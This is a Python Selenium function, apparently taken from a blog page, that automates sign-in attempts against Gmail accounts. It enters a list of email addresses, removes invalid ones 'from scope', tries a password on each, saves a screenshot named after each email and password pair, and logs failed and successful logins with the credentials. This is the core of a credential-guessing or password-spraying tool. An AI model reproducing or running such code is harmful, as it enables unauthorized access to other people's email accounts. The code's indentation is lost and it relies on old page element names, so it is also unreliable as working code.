def login( self, email, password ):
self.browser.get( "http://mail.google.com" )
sleep( 3 )
self.action = webdriver.ActionChains( self.browser )
self.email_form = self.browser.find_element_by_id( "Email" )
self.email_form.send_keys( email )
self.next_button = self.browser.find_element_by_id( "next" )
self.next_button.click()
sleep( 1 )
if not self.browser.find_element_by_id( "Passwd" ):
self.printq.put( "[-] Invalid email, removing {} from scope".format( email ) )
self.emails.remove( email )
else:
self.pass_form = self.browser.find_element_by_id( "Passwd" )
self.pass_form.send_keys( password )
self.signin_button = self.browser.find_element_by_id( "signIn" )
self.signin_button.click()
sleep( 3 )
self.browser.save_screenshot( "{}_{}.png".format( email, password ) )
if "Wrong password" in self.browser.page_source:
self.printq.put( "[!] Login failed: {}:{}".format( email, password ) )
else:
self.printq.put( "[^] Login succeeded: {}:{}".format( email, password ) )
评论列表
文章目录